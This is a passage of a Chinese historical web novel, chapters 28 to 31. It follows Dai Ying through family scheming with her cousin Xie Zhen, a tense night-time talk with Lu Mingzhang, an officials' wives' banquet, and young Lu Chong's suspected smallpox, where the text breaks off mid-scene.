谢珍讪笑道:“花灯节那晚,姐姐一直寻你来着,嗓子都快扯哑了,想来你是不记得了。”
说着眼梢往陆铭川身上轻轻一撇。
任谢珍如何拿话逗陆崇,小儿只是不回话,小嘴抿得紧紧的,一时间叫谢珍有些下不来台,可话已说及此,只好自己没话找话。
“你手里拿的什么宝贝?怎么还藏在身后,快别小气,拿出来让我瞧一瞧……”
第28章 什么长辈,又不是一家
陆崇双手背在身后,手上拿着他父亲给他捉的知了。
那知了早被他盘得半死不活,反正也不想要了,眼前这人想要看,他便拿出来,怼到她的脸上,让她看清楚。
谢珍没有防备,眼前突然袭来一物,细小的支节动着,像是爬到她的脸上,“吱——”的一声在她耳边响起。
当她意识到那是什么时,嘴巴先一步发出尖锐的叫喊:“啊——”顿时花容失色。
陆崇见了,反倒咯咯笑起来。
“崇儿,不得无礼”陆铭川轻斥道。
陆崇止住笑,走到戴缨身后。
陆婉儿赶紧扶住谢珍,责怪道:“呀!崇哥儿,你把珍儿姐姐的脸都吓白了。”
谢珍确实被吓到了,一张脸白得回不过血色,眼珠黑得不正常。
戴缨也怕谢珍出事,她虽不喜谢珍,可在外人看来,她同她是表姊妹,不好太过冷漠。
“归雁,快拿些水往她脸上拍拍。”
归雁应下,从牛角壶倒了水,湿了手,拍向谢珍的脸,就这么轻轻拍了一会儿,谢珍才缓过气,散了的神重新凝聚,只是心里仍失衡地跳着。
“快扶她回去,请大夫来瞧瞧。”
陆铭川指着身边的仆从前去搀扶,谢家人在自家做客,且是自家小子惹出来的祸,于是也跟着去了。
等人都走后,戴缨将陆崇从身后拉出,蹲下身,同他平齐,问道:“怎么吓她呢?”
陆崇低着头,不说话,过了一会儿把手里的知了拿出,丢在地上。
“我不喜欢她。”
戴缨好奇道:“不喜欢?这又是为何?”
谢珍先前并未同小陆崇有过接触,今日这算是头一回招呼。
“她撒谎!那晚她根本没有寻我,我看见了,她就杵在那里,像块木头一样,二姐和嬷嬷也没找我,她们吓傻了,一个劲儿地哭,只有姐姐来找我。”
当时陆崇窝在车里,不敢出来,却把湖堤下的情形看得清清楚楚。
戴缨摸了摸他的头,说道:“她说谎是她不对,可你吓她,万一她有个……”
戴缨没有继续说下去,转过话头,一面拿手打扇,一面佯装道:“咱们回院子,再不回,只怕我也要热倒了。”
陆崇重拾笑脸,拿起网兜,随着戴缨往回行去,在揽月居玩到掌灯时分仍不愿走,还是他父亲派人来接他,这才离去。
用罢晚饭后,戴缨让下人们备水,沐洗毕,天色将晚,玄月已挂枝头。
戴缨散着微湿的发,走到书案后,铺开一张空白的纸页,研了磨,提起笔管,凝思半晌,迟迟不能下笔。
她欲给戴万昌修书一封,说动他将店铺开到京都,这是她想要的,却不能在信上这么写,需得用一种能让他意动的说法。
若她通篇只说京都城的好处,戴万昌这人猜忌心重,必不会依她之言,只会适得其反。
她需把个中利弊分析出来,让他知晓,而他在度量过后,觉着利大于弊,再做取舍,只有这样,此事方能成。
戴缨把思绪重新整理,终于落笔:
自离平谷,久疏问候,然女儿于京都之中,未尝一日不念及父亲身体安康,近日思及一事,斟酌再三,或可为我戴家另辟新途,故修书一封,与父亲细细商议。
京城乃天子脚下,商贾云集,其地繁华非平谷所能及,若在此设分号,其利有三:
其一,买卖易兴,京都人口稠密,富户众多,利润可增数倍。
其二,商机易得,京师官民混杂,消息流通极快,若能扎根于此,更易洞察朝政动向、市场风气,甚至可承接官府采买之单。
其三,于京城立号,虽初时规模未必宏大,然可助我戴家声名远播。
然女儿亦不敢只报喜不报忧,京师虽好,却非遍地黄金,其弊亦须深思:
成本高昂,投入甚巨,京都地价、人工皆极昂贵,初设分号恐需投入大量银钱,且官商应酬、节礼打点等开销亦不可省,若经营不善,恐反损本金。
另,京都规矩繁复,易惹是非,稍有不慎便可能触犯规章,或得罪权贵,需时刻谨慎,步步为营。
写到这里,戴缨顿了顿,机巧地补了一句,此句正好对应上述:
姑母一家现于京都为官,昔年我戴家曾对其有恩,若遇难处,或可求一二照应。
戴缨将自己真正的目的隐于信尾,浅浅带过,如此写道:
利弊并存,父亲大人斟酌,视行情渐次试探,女儿愿在京都多方打点,竭力为父亲大人分忧。
戴缨提起信纸,吹了吹,又搁置了会儿,及至墨干,折好,收入信套,封了泥印。
次日一早遣人将信寄往平谷,接下来就是等戴万昌的回信。
之后的几日,戴缨的揽月居都会来一人,不是别人,却是谢珍。
“表姐,我亲自做了些糕点,且不会太甜腻,特意拿来你尝尝。”谢珍提着两屉食盒款款走进屋中,进了屋,便拿眼四下探看,“今日怎么没见着崇哥儿?”
戴缨心中好笑,谢珍这点心思恨不得写脸上。
她才来京都时,谢珍一口一个表姐亲热叫着,见着她有好物,便讨巧卖乖地问要,后来,她搭上了陆婉儿,转头对自己又是另一副嘴脸。
戴缨之前还想,自己是否无形中得罪过她,后来明白,有些人的恶意是没由来的,你稍有如意,她便不如意。
谢珍在艳羡地看向她的那些首饰和衣物时,眼中是盖不住的贪婪和妒恨。
而现在……提着吃食殷勤地往她这里来,进屋就问崇哥儿。
戴缨可不觉得谢珍喜欢孩子,为的却是孩子他爹。
“崇哥儿也不是每日到我这里来,他还有学业。”戴缨往那糕点上睨了一眼。
谢珍眼中透出失望,笑容淡了下去,不知又想到什么,眼中一亮,将食盒里的糕点拿出,放到圆桌上,不待人请,自顾坐下。
“崇哥儿同表姐亲近,表姐可否平日
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里在他面前替小妹美言两句。”谢珍说着腮颊透出两团胭脂。
“珍儿表妹这是……”戴缨故作不知。
谢珍面上更红了,咬唇道:“表姐好伶俐的人,怎会看不出珍儿的心意。”
“我可真是不知,表妹不妨直言。”
谢珍抬眼看戴缨,说道:“自花灯节那日见过陆三爷,珍儿心中窃慕……”
戴缨心下想着,谢珍这心思不知陆婉儿可知,想来应是不知,毕竟谢珍看中的是她的小叔父,若真让她成了,陆婉儿岂不是要唤谢珍儿一声叔母?
以陆婉儿的性子,若知晓自己的小姐妹有这等心思,必不会善待谢珍,她怎会让低自己好几等的谢珍,爬到她的头上。
戴缨倒是有些佩服谢珍,在陆婉儿身边还敢生出这等心思。
于是故作震惊:“表妹说得什么胡话,那陆三爷按辈分,你我二人当随婉姐儿叫一声叔父,你怎么……”
说到这里,戴缨拿帕子羞地捂脸,侧过身,不去看谢珍。
谢珍急得一跌脚,走到戴缨身侧,故作娇痴道:“什么长辈,又不是一家的。”
戴缨并不想搭理她,她倒好,没脸没皮地求到自己跟前,于是找了个理由,推脱道:“表妹你是知道我的,一言一行,哪一样不听姑母?何况你这事……非同儿戏,我可不敢主张,别到头来惹姑母不喜,又是一通责备。”
谢珍撇了撇嘴,绞着帕子坐回原处,鼻管里哧哧两声:“不愿帮便不愿帮,拿我母亲出来说事。”
她还不了解她母亲,她要是能嫁进陆府,她不知道会高兴成什么样。
不过戴缨这话还真提醒了她,该回府同她母亲商议一番。
谢珍将桌上的糕点收进食盒,想到什么,侧过头看向戴缨,露出似笑非笑的神情。
“差点忘了,有件事只怕你还不知。”
戴缨等她说下去。
“婉儿同我兄长的亲事定下来了。”谢珍说这句话时,一双眼直直盯着戴缨,想从她的脸上看出一点她想要的表情。
震惊、失落,还有被人抛弃的伤戚和愁怨,然而都没有。
戴缨并不意外,只是没想到这样快,随即又想,若陆婉儿嫁去谢府,那她不是要回谢府?
好在谢珍后面补了一句:“亲事虽定下,不过老夫人舍不得婉儿,想把她在身边多留两年,不管怎么说,这亲事已是铁板钉钉。”说罢,提着食盒离开了。
对于这件事,戴缨没多想,知道也就知道了。
掌灯时分,上房的石榴前来,让她去那边一趟,老夫人有话说。戴缨重理装束,带着丫头往上房去了。
进了上房才发现,屋室里不止陆老夫人,她的左手边坐着陆名章,正低声同她说着什么。
陆老夫人眉目微凝,全神听着。
想是觉察到她的进入,陆铭章偏过头,看了她一眼,又对老夫人说了一句什么,老夫人也朝她看了来,若有所思地点了点头……
第29章 大人为何戏耍我?
戴缨进入后,两人停止了交谈。
戴缨上前,先是朝陆老夫人欠身问安,又侧身朝陆铭章欠身行礼。
谁知她才屈膝,陆铭章便起身离开,经过她时侧目瞥了一眼,径直出了屋室。
“缨丫头,你来,坐过来,我有话同你说。”待陆铭章走后,陆老夫人说道。
戴缨察觉出一点异样,走了过去,敛衣于老夫人身侧安坐下。
陆老夫人再次开口:“下午那会儿……你姑母遣人捎信来,叫你回去住几日。”
戴缨指尖猛地一颤,强扯出一丝笑意:“是了,不知不觉已离开谢府有段时日,阿缨也该回去瞧瞧姑母。”
陆老夫人点了点头,又道:“回去安心住几日,仍是回来。”
戴缨应是。
“行了,你去罢。”陆老夫人没再多说什么。
戴缨起身,行过退礼,出了上房。
老夫人让她回谢府住几日,仍是回陆府,在戴缨看来,那不过是客套话,她同陆府又不沾亲带故,若离了陆府,哪有脸自请回来。
再一想适才进去时,屋里的情形,脚下的步子顿住,折过身,往另一个方向去了。
归雁随在身后:“主子,这不是回揽月居的方向。”
“不回院子,去前面书房。”
“书房?那不是……”归雁住了嘴,不再往下说。
陆府很大,从后院到前院要走上一段,等戴缨寻到这院子,后背已出了层细汗。
院门守着几名小厮,见了她,问了好,其中一人引她在院中等候,前去报知。
然而小厮并不入书房,而是去了书房旁边的侧屋。
不一会儿,从侧屋出来一人,那人修身挺立,着一身布衣直缀,面目温和。
这人缨戴记得,陆铭章的亲随,叫长安的。
“戴小娘子找家主?”长安问道。
他听小厮说,那位戴小娘子来,问见家主,乍一听有些惊异。
戴缨点头道:“是,缨娘请见陆大人,劳通传一二。”
“眼下夜已深,家主仍有公事处理,无暇见小娘子。”长安说道。
戴缨看向长安,嘴角挂起一抹冷笑:“还未报知,掌事怎就知道陆大人不见?还是说……事先得了命令,故意找理由避而不见?”
长安怔了怔,怎么这女子腔调中透着怨嗔,似是同阿郎牵系,这可就奇了。
“小娘子误想了,这个时候……除了老夫人那边的事,阿郎谁也不见。”
戴缨往亮着的门窗看了眼,心里壅堵的气只能生生压下,摇了摇头,她这是做什么呢,于是无奈转身,正待离开时,门里传出人声。
“让她进来。”
听到这话,长安心下一惊,不免多看了戴缨两眼,阿郎处理事务不喜人打扰,哪怕婉姐儿来了,也得乖乖在院里候等,不得命令不许进入书房。
有一次候久了,闲着无聊摘了一串院中的葡萄,后被责罚。
长安将戴缨引到门前:“小娘子进去罢。”
戴缨理过衣襟,拂了衣袖,双手捉裙,迈过高槛,踏了进去。一进书房,就见陆铭章伏于案后,手执笔管,不知写着什么。
戴缨看了一瞬,心道,这么晚还写东西,不会坏眼么?再看他手边的青瓷盏,里面的茶水已空,只剩残叶。
要不要给续上?以作示好?
还是算了,这会儿她来,不是为讨好他的,而是把话说清楚,左右明日她就离开,这口气需得捋顺。
“坐。”陆铭章头也不抬地说道。
戴缨寻了一个离他不近不远的位置,敛裙坐下,继续一声不吭。
陆铭章提笔煞尾,搁下笔管,将纸页放置一边待干,然后抬头看向戴缨。
“何事?”
戴缨毫不避让地回看过去,说道:“深夜前来叨扰大人,确实有事。”
陆铭章漠然地看着,眼神淡淡的,等她继续说下去。
戴缨想了想,接下去说道:“明日缨娘便从陆府离去。”
陆铭章仍是缄默。
“大人就没什么说的?”戴缨紧紧合握着双手。
陆铭章一面给自己续了茶,一面问道:“说什么?”
戴缨算是看明白了,自己在别人眼里什么也不是,当下把心里的不忿宣泄出来。
“花灯节那日,崇哥儿失了踪迹,大人见了我,不问缘由先是一通怀疑,大人对我不信任也合情理,缨娘毕竟是外人,且不是那厚脸涎皮之人,见大人似有驱逐之意,缨娘想着待找到崇哥儿自请离开。”
戴缨缓了一口气,继续道:“万幸,人找到了,本要同老夫人请辞,大人又换了一副态度,缨娘斗胆揣度,大人想让缨娘留下……”
陆铭章双目微凝,神色有了一丝变化。
戴缨仍不顾不管地说着:“我确实有些私心,不过是想借陆家这个大树的荫蔽,可大人不该这样戏耍于我。”
“前面还夸我呢,说我是个聪明的,脚长在我身上,或走或留由我自己决定,今晚这又算什么?!想让我离开直言便是,何须在老夫人跟前……”
戴缨说得激愤,没发现陆铭章眉头蹙起。
她不敢停下话语,怕自己一停,就不敢往下说,遂一咕噜悉数倾泻出。
“都说大人有大量,宰相肚里能撑船,我看大人当不得这话,专以戏人为乐,分明是心胸……”
“放肆!”陆铭章的喝止声从上首传来。
戴缨立马噤了声,两眼睁愣,眨了眨,反应过来自己说了什么,惧意一点点从骨头缝滋出,找补似的说了句:“我给您沏茶?”
“出去!”
戴缨一激灵,双肩一缩,应了一声“嗳”,乖乖立起身,合着双手置于身侧,欠了欠身,退出了房门。
长安守在门外,别的没听到,就听到他家阿郎那两声,一个“放肆”,一个“出去”。
再见这位从书房出来的戴小娘子时,那眼神便不一样了。能惹他家阿郎失态的她是第一人。
戴缨出了院门,脑子完全乱了,不过仍把腰背挺得直直的,一直走回揽月居,回了屋。
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“你去外面。”
归雁应是,带上房门。
屋中只剩戴缨一人时,那肩背渐渐颓下,给自己倒了一杯水,握杯的手抖了两抖。
彼边,陆铭章坐在桌案后,沉着眼,静了一会儿,拿过一本册子,翻开看去。
看了一会儿,放下,然后目光落到烛焰上,眼神渐渐虚化,脑中浮出一双惊欠的双眼,澄澈中有一种胆大的神情,被他喝止后,便滞在那里,叫人气也不是骂也不是。
罢了,罢了,他跟一个不知世务的小丫头计较什么。
……
次日,戴缨早早起身,因着昨夜没睡好,眼睛有些浮肿。
“东西都收好了?”戴缨问道。
孔嬷嬷在屋子里转看一番,回道:“本也没什么,只几件衣衫和饰盒,都收齐了。”
这时归雁插话道:“老夫人不是说让咱们过去住几日,再回来么?”
孔嬷嬷拿指点了点归雁的额:“叫我说你什么好,人家老夫人那是客套话,你就当真了。”
说罢,孔嬷嬷暗暗一叹,归雁也跟着怏怏不乐。
她们不为自己,主要是忧戴缨,这一回谢府,哪还有自由可言。
戴缨又何尝不郁悒,只是面上并不表露,叫人端看,也看不出什么。
正要出门时,院子里响来脚步声,一个小小的身影快步来到她的身边。
“姐姐,你什么时候回来?”陆崇问道,他的身后还跟着陆溪儿。
戴缨微笑道:“姐姐归家几日。”
“所以几日后就回么?”陆崇继续问。
戴缨不知该怎么回答,还是陆溪儿从旁道:“那是自然了。”说罢,陆溪儿看向戴缨,“走得好急,我一早才得知,去问了老夫人,她什么也没说,不知是何原因。”
戴缨笑了笑,执起陆溪儿的手:“能客居陆府,于我而言已是不敢想,怎好一直叨扰,日后……若我能回平谷,你同小陆崇来找我,我作东道,带你们在平谷享用美食,游转山水。”
两人又说了几句闲话,道了别。
出了府门,马车已在侧门等候,仆从放下踩凳,归雁扶戴缨上了马车,随后,谢珍也上了车。
马车启行,缓缓朝谢府驶去。
路上,戴缨眼皮微敛,**。她想清静,可旁边有个谢珍,注定是清静不了的。
“我觉得你那话说得有些道理,那件事是该先同我母亲商量,所以我回院后立马捎话给我母亲,咱们今日回谢府,你可想好怎么说?”
接着警告似的说了句,“可别坏我的好事。”
戴缨心中一动,转头看向谢珍,问道:“你捎话给谢府?”
谢珍掀开车帘,看走到哪里了,眼睛往外张望,嘴里回道:“是呀,我让人捎话给我母亲,她这才让我们回。”
所以老夫人说让她回谢府暂住几日,落后仍是回来,不是客套话。
在松了一口气的同时,心里又一咯噔,昨晚她跑到陆铭章书房,对他出言不逊……
戴缨的脸刷地臊起来……
第30章 痴心妄想
戴缨肤白,皮肌薄细,一窘迫,脸上绯红。
谢珍仍自顾自地说着:“我说的话你听……”,接着咦了一声,“你的脸怎么这样红?莫不是染了风寒?你可千万别把病气过给我。”
戴缨拿手扇了扇:“车里太闷。”一面说一面将车帘打起。
“你回了府,在我母亲面前多替我言语,日后我能做陆家的大房奶奶,自会看顾你几分。”谢珍洋洋得意地说道。
戴缨看了谢珍一眼,然后转过头,不再看她。
这人简直是痴心妄想,戴万如那人还算精明,怎么生了谢珍这么个蠢货。
马车行了一程,停歇,到了谢府,几个下人在门外闲候着,见她们下了车,迎上,引进府里。
一进府里,先往上房去。
戴万如一见谢珍,拉着手好一番阔叙寒温,又问有关陆府之事。
“母亲,那陆府可气派,光那内园,走一圈下来能把腿脚走疼。”
戴万如歆羡道:“再怎么也是簪缨士族,同一般权宦之家自是不一样。”
谢珍又道:“女儿还见着陆相了,原以为是不苟言笑的老头,谁知还很年轻,只是看起来不太爱笑,但面目是温和的。”
戴万如笑道:“那陆家千金是陆相抱养的,真论起来,就算是亲子,他这个年岁也差不离。”
家贫者且不说,像权贵之家,男子年十五,女子年十三以上,听婚嫁,早早立下家室,男子三十多岁,子女也有好大了。
谢珍眼珠一划,又道:“是呢,女儿竟不知,陆家大房还有一位主子爷,比陆相小几岁,当得是一表人才。”
戴万如想了想,悟了过来:“那是陆家三爷,才从地方调回,我听你父亲提过一句,这兄弟二人好似是同父异母。”
两人絮絮说了一盏茶的工夫。戴万如这才把目光投向戴缨,拿下巴指了指。
“既然回了,坐罢。”
戴缨依言寻了一张交椅坐下。
戴万如想着,先前因戴缨自作主张解除婚约,那会儿一怒之下砸破她的额头。
当时一来心里怒不可遏,二来想灭灭她的气焰。现在看她低眉顺眼的模样,看来还是有成效的。
再一想戴缨是娘家侄女儿,加上谢容同陆婉儿婚事定下,心情不错,于是不咸不淡地问了两句。
“行了,你仍是回你那院子歇息,既是回来了,便多住几日。”
戴缨应是:“缨娘这便告退。”
戴万如“嗯”了一声。
戴缨回了院子,孔嬷嬷已指着下人把屋室重新打扫一遍,归雁替她铺好床帐,不知不觉到了用午饭的时候。
饭菜摆上,戴缨没什么胃口,吃了小半碗饭,让下人撤了桌面。
戴万如召她回,老夫人不好说什么,虽说只住几日,还要回陆府,可戴缨并不敢完全松懈,谢珍那点子心思,一回来少不得向她母亲袒露,想给陆铭川做续弦。
戴万如虽说精明,可在贪念之下,那份精明便荡然无存,反会更添蛮横不讲理。
谢珍若能嫁于陆府,戴万如巴不得一声。
且,戴万如必会找她问及此事,届时她要如何应付,若是说得让她稍有不如意,她随便使点绊子,都让她好受的。
有一点戴缨很清楚,谢珍想当陆铭川的续弦,简直是天方夜谭。
谢珍最后落得什么下场,戴缨一点不关心,就怕把自己带累了。
毕竟在外人看来,她二人乃表姊妹,不会分开来看,认为你是你,她是她,只会说,这一家人都一个德行。
是以,谢珍若被嫌恶,她亦会不受待见。
那么戴万如问询自己对此事的看法,她要如何说。
说不合适?以戴万如那狭窄的心胸,必会以为她有什么别的想法,或因她轻视谢家而恼怒,若她赞成,最后又使自己境况艰难。
果不其然,晚间时分,前面来人让她过去。
“你表妹的事情,可知晓?”戴万如让下人看了茶点。
戴缨暗忖,戴万如这是故意拿话探她,遂点头道:“表妹同缨娘说过。”
“你对此事怎么看?那陆三爷同珍儿是否合配?”
戴缨默不出声,没有立刻回答。
“怎么?为何不说话?”戴万如又问。
“这种事情,缨娘不好多嘴……”戴缨故作为难道。
“无事,你只管说来。”
戴缨这才开口:“陆家三爷先前丧妻,留有一子,表妹韶华芳貌,且是待嫁之年,给人做续弦……”
说到这里,戴缨瞥向戴万如,只见她嘴角抿成一条线,眼色发沉,心中暗道,你既然心里早有成算,还问我做什么?接着将话头一转。
“陆家驷马高门,先祖乃开国帝君的佐命之臣,虽说中间有过衰落,可到这一任家主手里,尊荣比之从前更盛,那陆三爷乃陆相亲兄弟,品貌不凡,正是好年岁,倒也嫁得。”
戴万如点了点头,面色这才转好:“正是,我也是这么认为。”
戴缨心里冷笑,以陆家的门第,由得了你怎么想?好似你觉得可行,人家就会娶你闺女似的。
不过这话戴缨可不能说,她得顺着戴万如的意思来,把**捋顺了,才好听使唤。
“只是……”戴缨一副欲言又止的模样。
戴万如双眼微微觑起:“只是什么?”
“缨娘听说表兄同陆家千金已然定下亲事。”
戴缨说这话时,略略显出失意,“亲事虽定了,然,陆家老夫人想留孙女儿在身边一两年,姑母试想想,表兄娶的是陆家女,而那陆家三爷又是陆婉儿的小叔父,中间有这层关系……只怕珍姐儿这事叫陆家人知晓了,会不好想哩!”
戴万如心里一紧,她只顾着往高处看,却忽略了眼前的紧要。
戴缨接下来的一番话,叫她直接打消了把女儿嫁进陆府的心思。
“不怕别的,就怕陆家人生恼,反把已做成的‘好事’给搅黄了,那表兄的仕途前景……”
话不道尽,戴万如在心里已有了取舍,虽说她也疼谢珍这个女儿,相形之下,还是儿子更重要。
“多亏你这丫头提出来,我糊了心,竟忘了这一岔!”戴万如看向戴缨,
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“你表兄和娶陆家千金一事,绝不能受半点影响。”
说到这里,戴万如又是抚额叹息:“珍儿的性子你是知道的,这可怎么同她说呢,就怕她不依,到底也是我心头的一块肉。”
戴缨差点破口大骂,合着你是半点心不操,全指着我想办法?
“这也好办,姑母不必表明态度,待表妹问及时,您只需模糊下来,就说,亲事得分个长幼先后,待兄长同陆家千金完婚,再为她计议。”戴缨接下去说道,“她若再问,姑母只提母女之情,舍不得她,表妹自来孝顺您,纵使有疑,也只能暂且捺下。”
戴万如点头,再次看向戴缨的眼神缓了两分:“我就说你这丫头脑子好使,百伶百俐,这番话可算说到我心坎上。”
戴缨笑而不语,仍是一副谦恭的姿态。
“行了,你去罢。”戴万如摆了摆手,突然想起一事,又道,“对了,忘记告诉你,后日,你同珍儿陪我赴宴。”
“赴宴?”
戴万如“嗯”了一声:“员外郎夫人家中设了筵席,你二人随我同去。”
戴缨应是,退了出去。
这员外郎乃谢山的直系上司,他的家宴,戴万如携谢珍去就算了,居然携她一道?只怕另有一番用意。
她可不会认为她这个姑母一时慈心,带她开眼界。
戴万如对她商女的身份万分看不上眼,好像她的存在时刻提醒旁人,她自己也是商女出身。
……
次日,戴缨哪也没去,在院中待了一日,这中间没见谢容,听人说,他去了外城办事,几日后才回。
就这么的,到了员外郎家宴这日。戴万如携着戴缨和谢珍乘马车往员外郎府去了。
这员外郎家的府邸比不上陆府阔大,显赫,却也看得出来下了功夫。
有山有水,有幽径高台,有亭轩楼阁。
而这宴席,无非就是置办几桌丰盛美味的菜馔,一群官阶差不多的官眷们吃吃喝喝一场,再聚着看看戏,听听曲儿。
或逛逛园子,或三五聚在一起闲叙。吃喝在其次,看戏听曲更在其次,重头戏是逛园子说长论短。
在这说长论短中,有人倾听,有人递话,有人高姿态,当然也有人被排挤打趣,被冷嘲热讽,被排挤嘲弄之人便是戴万如。
通常情况下,她们会先享用美馔,再走到园中赏景,借着赏景的工夫,开始由景及人,含沙射影的话总能狠狠刺激到商户出身的戴万如。
每次赴宴回来,她必受一肚子气。
然而,纵使这样,每有宴请,戴万如仍会盛装赴宴,一次不卯。明知被那些官妇人瞧不起,也执意要融入进去,这已成了她的执念。
谢山虽说在京都为官,可她却不被那些官妇们接纳,叫她这个官夫人当得没甚滋味。
只有被这些出身书香世家、名门望族的妇人们承认,她才觉得自己洗去了这一身商户的身份。
今儿,她不是去吃席的,而是去正名的,在那些看不起她的人面前,好好扬眉吐气一番,顺便给她那侄女找一门姻亲……
第31章 他不听我的,却听你的
看了两场戏,官妇们相携着往园中走去。
这些官娘子们多是谢山同僚的家眷,以前戴万如行于其中,总随在人群尾,几乎快同仆妇们一列。
都说官大一级压**,员外郎乃谢山的顶头上司,他家夫人自然也就压戴万如一头,不,不止一头。
今儿不同,那员外郎夫人亲切地携着戴万如,行于队首。
“你这身料子看着不凡,京都似是少有。”员外郎夫人的一双眼往戴万如身上看去,满口称赞。
旁边一众女眷跟着应和:“这衫服的织法看着不一般,颜色也难得。”
戴万如拂了拂衣袖,面上被光抚过,对着众人说道:“诸位夫人可别笑话我眼皮子浅,这料子啊,倒真真是稀罕物,你们瞧瞧这暗纹,要迎着光才见得真切,用的是双面缂丝的法子,过水不皱,沾尘不染,此料娇贵,勾丝了便是神仙也难修补的。”
说着,话锋一转,“只是……”
众人追问:“只是什么?”
戴万如抿嘴,笑从嘴角溢出:“这料子虽难得,到底不及陆老夫人赏赐的恩情重,每每穿着,总觉沾着相府的福泽。”
官妇人面色各异,有艳羡的、有嫉妒的,也有讥讽的,最后俱化成一声叹:“谢家夫人好福气。”
戴万如喜笑盈腮,头上的簪珠晃动得就没停下来过,只见她侧过身,眼梢睨向后方一贵妇人。
“瞧我,得了这点子好东西就忍不住显摆,到底比不得王夫人身上那匹妆花缎贵重呢。”
那王家的,平日挤对她最狠,总是最先挑起话头,今儿也要她尝尝这滋味。
王夫人心里火起,脸上却还笑着迎合。
一旁的侍郎夫人跟着说道:“王夫人这料子好是好,只是颜色花式老气了些,不时兴了。”
其他人你一句我一句地跟上,把那位王夫人说得面红耳赤,明明气得手抖,嘴角却生生扯起笑来。
戴缨将这一幕看在眼里,女人们的战场……家宅之内,市井之间,一句话、一个眼神、一丝不易察觉的嘴角抽动,无有疆界,无有休战之时……
就这么走着,说着,终于,话头从王夫人身上转到了张夫人,再转到周夫人。
最后转到戴缨身上。
“缨娘,你来。”
戴缨就知道戴万如引她来有目的,这不就来了么。
戴万如执着戴缨的手,说道:“这人呐,当真是讲眼缘,我这娘家的侄女儿原以为是个没造化的,谁知在陆家得了老夫人疼惜,连陆家的哥儿也人前人后唤她姐姐。”
戴万如这么卖力夸戴缨,不为别的,就为她自己,叫这些人知道,你们从前看不起的,如今却受陆老夫人的教化和喜爱,这就是面儿!
员外郎夫人笑着执起戴缨的手,不住眼地打量,嘴里啧声连连:“好个标致的小娘子,早早就注意到了,年岁几何了?”
戴万如抢说道:“前些年我那嫂子走了,她守了三年孝,把年纪拖大了,如今十九了。”
另一人接下去问道:“哟十九了!可曾许了人家?”
“不曾许过人家。”戴万如半开玩笑,半认真道,“众夫人们相看相看,若是合意……把她领了回去。”说着,把戴缨往前一带。
那些贵妇们纷纷打趣儿,再看向戴缨的眼色便带了审量物件的轻视。
戴缨面色涨红,银牙暗咬,攥在袖里的指狠狠掐着手心,不过戴万如到底没有太过,从戴缨身上转到其他话上。
……
这一日,戴万如把从前失的面子悉数挣了回来,回去的路上嘴角一直高高扬起,眼睛里泛着光,看谁都顺眼了两分。
过了两日,不等陆府来人,她便让下人备车,将戴缨和谢仍送往陆府。
进了府宅,院子里下人们的神色有些不对,行色匆匆。
戴缨没作他想,先去了上房,向陆老夫人问安,谢珍走了后,她又留了会儿。
陆老夫人向她单独问了些话,说话间老夫人面上隐有愁思。
“老夫人可是有烦心事?”戴缨问道。
陆老夫人看了戴缨一眼,想说什么终是没说:“无事,你回院罢。”
戴缨心中有疑,但老夫人明显不想说,她也不好再问,于是带着丫头回了揽月居。
揽月居一直有下人打理,戴缨回来歇宿无需重整,一切都很方便。
这边前脚刚回院子坐下,后脚院里莽莽奔来一人,一进来就四顾张望,拉着人问:“戴小娘子呢,可回了?”
归雁走出屋,说道:“这不是田嬷嬷,怎么慌里慌张的?”
这田嬷嬷是贴身照顾小陆崇的婆子。
“我的姐姐,你家主子呢?可在屋里?”田嬷嬷急声问道。
“在呢,这不才回……”
归雁话音未完,田嬷嬷已冲进了屋里。
戴缨正在摆开她匣子里的首饰,一个影闯到她的身边,唬她一跳,未及她开口,田嬷嬷扑通一声跪下去。
“哎哟!嬷嬷这是做什么?!”戴缨抬她起身,奈何田婆子赖跪于地,不肯起。
田婆子死死抓住戴缨的胳膊,一抬头,戴缨才发现她哭得涕泗横流,心里顿觉不好。
“是不是崇儿出事了?!”
田婆子点点头:“小娘子去看看,好不可怜,晕晕又醒醒,醒了谁也不要,晕时嘴里只念姐姐。”
戴缨霍地站起身,卷着风一般往外走去,在田婆子的引带下,一路往那院中行去。
谁知还未行到院前,一个声音从旁响起:“拦住她。”
戴缨侧头看去,不是别人,正是陆铭章,他的旁边还立着一脸愁容的陆铭川。
“大人,我想进去看看崇儿。”戴缨说道。
陆铭章没有回答,而是瞥了田婆子一眼,田婆子吓得身子一缩,不敢抬头。
戴缨觉得古怪,往周围探看,那院子隔着好一段距离,远远看去,院前看守之人,俱以白布遮挡口鼻。
院中人影幢幢,来来去去的身影亦是如此。
这是……
陆铭章的声音适时响起:“如今还在烧,无法确诊是不是天花。”
戴缨脸色一白,很快反应过来:“疹子未出么?”
这出疹并非什么好事,但不出疹没法确定是不是天花,可一
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旦确认为天花,就会非常棘手,治不好就是死,治好了,留一脸的麻花。
陆铭章点头道:“回自己院子待着,这段时日莫要乱走。”若是确诊为天花,整个府中的人只怕都要隔开。
她以为只是一般病痛,她也想到那孩子跟前留守,陪陪他,让他不至于那么害怕。
可这是天花,死率极高且会传染的毒王。
她不是大夫,去了能做什么?戴缨说服自己,她不是怕被传染,不是怕死,就是搭不上手,就是……还是不要去添乱。
于是转过身就要离开,一抬眼见田嬷嬷含泪看着自己,无声地张合着嘴,说不出一个字来。
戴缨低下头,不去看她,往回走了几步,院子里哭闹声还有剧烈的咳嗽声远远地传来。
隔着老远也能听得清楚,这周围实在**静了。
待那一阵嗽声过后,一个口鼻遮挡的丫鬟端着药碗从屋中出来,接着院子里开始慌动,隐隐听得人声叫喊着。
“还是不肯喝,咳狠了,全吐了,全吐了……”
“崇儿身边总得有个人,我进去罢。”陆铭川说道。
不及陆铭章开口,从后传来一个声音:“不行,你不能进去。”
众人回头去看,正是曹老夫人,她的身后还跟着一众奴仆。
“母亲,崇儿身边需要人。”
“那么些人不是人?偏你进去。”曹氏指着周围的下人们,“平日都白养你们了,要主子冲在前?!”
陆铭川接话道:“母亲,院中伺候的人不少,但孩子身边没个亲近之人,他害怕。”
曹老夫人怔了怔,然而只是一瞬,打着哭腔道:“我难道不心疼?崇儿是我的亲孙,可你不能进,你若进去,染了病,我就没指望啦!”
说罢死死拽着陆铭川的胳膊,再转头看向陆铭章,叫着他的小名,哀求道:“晏哥儿,你可不能叫你弟弟进去啊,他不听我的,却向来听你的话。”
陆铭章沉着双目,不出声。
戴缨看不过,想那孩子亲近自己,终是不忍,上前对陆铭章说道:“可否让大夫再探仔细些,手心、脚心,或是口舌内,若真是天花,照说这个时候该出疹了。”
陆铭章给下人使了眼色,那人急着往院中趱赶,好一会儿,跑了回来,喘粗气说道:“出疹了,出疹了……”
戴缨轻声问道:“出在哪里?”
